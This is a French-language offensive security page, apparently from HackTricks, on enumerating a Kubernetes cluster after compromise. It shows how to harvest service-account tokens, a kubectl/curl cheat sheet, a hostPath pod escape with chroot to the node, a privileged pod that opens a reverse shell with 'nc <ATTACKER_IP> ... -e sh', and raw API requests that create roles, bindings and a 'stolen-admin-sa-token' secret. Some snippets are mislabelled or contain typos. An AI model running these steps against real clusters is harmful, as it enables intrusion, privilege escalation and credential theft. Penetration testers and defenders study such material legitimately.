Kubernetes Enumeration

Reading time: 21 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Kubernetes Tokens

Si vous avez compromis l'accÚs à une machine, l'utilisateur peut avoir accÚs à une plateforme Kubernetes. Le token se trouve généralement dans un fichier pointé par la var env KUBECONFIG ou dans ~/.kube.

Dans ce dossier, vous pourriez trouver des fichiers de configuration avec des tokens et des configurations pour se connecter au serveur API. Dans ce dossier, vous pouvez également trouver un dossier de cache avec des informations récupérées précédemment.

Si vous avez compromis un pod dans un environnement Kubernetes, il existe d'autres endroits oĂč vous pouvez trouver des tokens et des informations sur l'environnement K8 actuel :

Service Account Tokens

Avant de continuer, si vous ne savez pas ce qu'est un service dans Kubernetes, je vous suggérerais de suivre ce lien et de lire au moins les informations sur l'architecture de Kubernetes.

Extrait de la documentation Kubernetes :

“Lorsque vous crĂ©ez un pod, si vous ne spĂ©cifiez pas de compte de service, il se voit automatiquement attribuer le compte de service par dĂ©faut dans le mĂȘme namespace.”

ServiceAccount est un objet géré par Kubernetes et utilisé pour fournir une identité aux processus qui s'exécutent dans un pod.
Chaque compte de service a un secret qui lui est associé et ce secret contient un token porteur. C'est un JSON Web Token (JWT), une méthode pour représenter des revendications de maniÚre sécurisée entre deux parties.

Généralement, un des répertoires :

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

contient les fichiers :

  • ca.crt : C'est le certificat CA pour vĂ©rifier les communications Kubernetes
  • namespace : Il indique le namespace actuel
  • token : Il contient le token de service du pod actuel.

Maintenant que vous avez le token, vous pouvez trouver le serveur API dans la variable d'environnement KUBECONFIG. Pour plus d'infos, exécutez (env | set) | grep -i "kuber|kube"

Le token de compte de service est signé par la clé résidant dans le fichier sa.key et validé par sa.pub.

Emplacement par défaut sur Kubernetes :

  • /etc/kubernetes/pki

Emplacement par défaut sur Minikube :

  • /var/lib/localkube/certs

Hot Pods

Les hot pods sont des pods contenant un token de compte de service privilégié. Un token de compte de service privilégié est un token qui a la permission d'effectuer des tùches privilégiées telles que lister des secrets, créer des pods, etc.

RBAC

Si vous ne savez pas ce qu'est RBAC, lisez cette section.

GUI Applications

  • k9s : Une interface graphique qui Ă©numĂšre un cluster Kubernetes depuis le terminal. VĂ©rifiez les commandes dans https://k9scli.io/topics/commands/. Écrivez :namespace et sĂ©lectionnez tout pour ensuite rechercher des ressources dans tous les namespaces.
  • k8slens : Il offre quelques jours d'essai gratuit : https://k8slens.dev/

Enumeration CheatSheet

Pour énumérer un environnement K8s, vous avez besoin de quelques éléments :

  • Un token d'authentification valide. Dans la section prĂ©cĂ©dente, nous avons vu oĂč chercher un token utilisateur et un token de compte de service.
  • L'adresse (https://host:port) de l'API Kubernetes. Cela peut gĂ©nĂ©ralement ĂȘtre trouvĂ© dans les variables d'environnement et/ou dans le fichier de configuration kube.
  • Optionnel : Le ca.crt pour vĂ©rifier le serveur API. Cela peut ĂȘtre trouvĂ© aux mĂȘmes endroits que le token. Cela est utile pour vĂ©rifier le certificat du serveur API, mais en utilisant --insecure-skip-tls-verify avec kubectl ou -k avec curl, vous n'en aurez pas besoin.

Avec ces détails, vous pouvez énumérer Kubernetes. Si l'API est accessible pour une raison quelconque via l'Internet, vous pouvez simplement télécharger ces informations et énumérer la plateforme depuis votre hÎte.

Cependant, gĂ©nĂ©ralement, le serveur API est Ă  l'intĂ©rieur d'un rĂ©seau interne, donc vous devrez crĂ©er un tunnel Ă  travers la machine compromise pour y accĂ©der depuis votre machine, ou vous pouvez tĂ©lĂ©charger le kubectl binaire, ou utiliser curl/wget/anything pour effectuer des requĂȘtes HTTP brutes au serveur API.

Differences between list and get verbs

Avec les permissions get, vous pouvez accéder aux informations d'actifs spécifiques (option describe dans kubectl) API :

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Si vous avez la permission list, vous ĂȘtes autorisĂ© Ă  exĂ©cuter des requĂȘtes API pour lister un type d'actif (get option dans kubectl) :

bash
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Si vous avez la permission watch, vous ĂȘtes autorisĂ© Ă  exĂ©cuter des requĂȘtes API pour surveiller les actifs :

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Ils ouvrent une connexion de streaming qui vous renvoie le manifeste complet d'un Deployment chaque fois qu'il change (ou lorsqu'un nouveau est créé).

caution

Les commandes kubectl suivantes indiquent simplement comment lister les objets. Si vous souhaitez accéder aux données, vous devez utiliser describe au lieu de get.

Utilisation de curl

Depuis l'intérieur d'un pod, vous pouvez utiliser plusieurs variables d'environnement :

bash
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

warning

Par dĂ©faut, le pod peut accĂ©der au serveur kube-api dans le nom de domaine kubernetes.default.svc et vous pouvez voir le rĂ©seau kube dans /etc/resolv.config car ici vous trouverez l'adresse du serveur DNS kubernetes (le ".1" du mĂȘme rĂ©seau est le point de terminaison kube-api).

Utilisation de kubectl

Ayant le token et l'adresse du serveur API, vous utilisez kubectl ou curl pour y accéder comme indiqué ici :

Par défaut, l'APISERVER communique avec le schéma https://

bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

si pas de https:// dans l'URL, vous pouvez obtenir une erreur comme Bad Request.

Vous pouvez trouver un cheat sheet kubectl officiel ici. L'objectif des sections suivantes est de présenter de maniÚre ordonnée différentes options pour énumérer et comprendre le nouveau K8s auquel vous avez obtenu accÚs.

Pour trouver la requĂȘte HTTP que kubectl envoie, vous pouvez utiliser le paramĂštre -v=8

MitM kubectl - Proxyfying kubectl

bash
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Configuration Actuelle

bash
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Si vous avez réussi à voler les identifiants de certains utilisateurs, vous pouvez les configurer localement en utilisant quelque chose comme :

bash
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Obtenir les ressources prises en charge

Avec ces informations, vous saurez tous les services que vous pouvez lister

bash
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Obtenir les privilĂšges actuels

bash
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

Une autre façon de vérifier vos privilÚges est d'utiliser l'outil : https://github.com/corneliusweig/rakkess****

Vous pouvez en apprendre davantage sur Kubernetes RBAC dans :

Kubernetes Role-Based Access Control(RBAC)

Une fois que vous savez quels privilÚges vous avez, consultez la page suivante pour déterminer si vous pouvez en abuser pour élever vos privilÚges :

Abusing Roles/ClusterRoles in Kubernetes

Obtenir d'autres rĂŽles

bash
k get roles
k get clusterroles

Obtenir des espaces de noms

Kubernetes prend en charge plusieurs clusters virtuels soutenus par le mĂȘme cluster physique. Ces clusters virtuels sont appelĂ©s espaces de noms.

bash
k get namespaces

Obtenir des secrets

bash
k get secrets -o yaml
k get secrets -o yaml -n custnamespace

Si vous pouvez lire les secrets, vous pouvez utiliser les lignes suivantes pour obtenir les privilÚges associés à chaque jeton :

bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Obtenir des comptes de service

Comme discutĂ© au dĂ©but de cette page lorsqu'un pod est exĂ©cutĂ©, un compte de service lui est gĂ©nĂ©ralement attribuĂ©. Par consĂ©quent, lister les comptes de service, leurs permissions et oĂč ils s'exĂ©cutent peut permettre Ă  un utilisateur d'escalader ses privilĂšges.

bash
k get serviceaccounts

Obtenir les déploiements

Les dĂ©ploiements spĂ©cifient les composants qui doivent ĂȘtre exĂ©cutĂ©s.

bash
k get deployments
k get deployments -n custnamespace

Obtenir des Pods

Les Pods sont les conteneurs qui vont s'exécuter.

bash
k get pods
k get pods -n custnamespace

Obtenir des services

Kubernetes services sont utilisĂ©s pour exposer un service sur un port et une IP spĂ©cifiques (qui agira comme un Ă©quilibreur de charge pour les pods qui offrent rĂ©ellement le service). Il est intĂ©ressant de savoir oĂč vous pouvez trouver d'autres services Ă  essayer d'attaquer.

bash
k get services
k get services -n custnamespace

Obtenir les nƓuds

Obtenez tous les nƓuds configurĂ©s Ă  l'intĂ©rieur du cluster.

bash
k get nodes

Obtenir les DaemonSets

DaeamonSets permet de s'assurer qu'un pod spĂ©cifique s'exĂ©cute sur tous les nƓuds du cluster (ou sur ceux sĂ©lectionnĂ©s). Si vous supprimez le DaemonSet, les pods gĂ©rĂ©s par celui-ci seront Ă©galement supprimĂ©s.

bash
k get daemonsets

Obtenir cronjob

Les cron jobs permettent de planifier, en utilisant une syntaxe similaire Ă  crontab, le lancement d'un pod qui effectuera une action.

bash
k get cronjobs

Obtenir configMap

configMap contient toujours beaucoup d'informations et de fichiers de configuration qui sont fournis aux applications qui s'exécutent dans le kubernetes. En général, vous pouvez trouver beaucoup de mots de passe, de secrets, de jetons utilisés pour se connecter et valider d'autres services internes/externes.

bash
k get configmaps # -n namespace

Obtenir des politiques réseau / Politiques réseau Cilium

bash
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

Obtenir Tout / Tout

bash
k get all

Obtenez toutes les ressources gérées par helm

bash
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Obtenir les consommations des Pods

bash
k top pod --all-namespaces

Interagir avec le cluster sans utiliser kubectl

Étant donnĂ© que le plan de contrĂŽle Kubernetes expose une API REST-ful, vous pouvez crĂ©er des requĂȘtes HTTP manuellement et les envoyer avec d'autres outils, tels que curl ou wget.

Évasion du pod

Si vous ĂȘtes capable de crĂ©er de nouveaux pods, vous pourriez ĂȘtre en mesure de vous Ă©chapper d'eux vers le nƓud. Pour ce faire, vous devez crĂ©er un nouveau pod en utilisant un fichier yaml, passer au pod créé, puis chroot dans le systĂšme du nƓud. Vous pouvez utiliser des pods dĂ©jĂ  existants comme rĂ©fĂ©rence pour le fichier yaml, car ils affichent des images et des chemins existants.

bash
kubectl get pod <name> [-n <namespace>] -o yaml

si vous devez crĂ©er un pod sur un nƓud spĂ©cifique, vous pouvez utiliser la commande suivante pour obtenir les Ă©tiquettes sur le nƓud

k get nodes --show-labels

En général, kubernetes.io/hostname et node-role.kubernetes.io/master sont de bonnes étiquettes à sélectionner.

Ensuite, vous créez votre fichier attack.yaml

yaml
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

AprÚs cela, vous créez le pod

bash
kubectl apply -f attacker.yaml [-n <namespace>]

Maintenant, vous pouvez passer au pod créé comme suit

bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

Et enfin, vous chrootez dans le systùme du nƓud.

bash
chroot /root /bin/bash

Information obtenue de : Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

Création d'un pod privilégié

Le fichier yaml correspondant est le suivant :

yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /

Créer le pod avec curl :

bash
CONTROL_PLANE_HOST=""
TOKEN=""

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Supprimer un pod

Supprimer un pod avec curl :

bash
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"

Créer un compte de service

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Supprimer un compte de service

bash
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"

Créer un rÎle

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Supprimer un rĂŽle

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"

Créer un lien de rÎle

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Supprimer un lien de rĂŽle

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"

Supprimer un Secret

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Supprimer un Secret

bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""

ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"

Références

Kubernetes Pentest Methodology Part 3

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks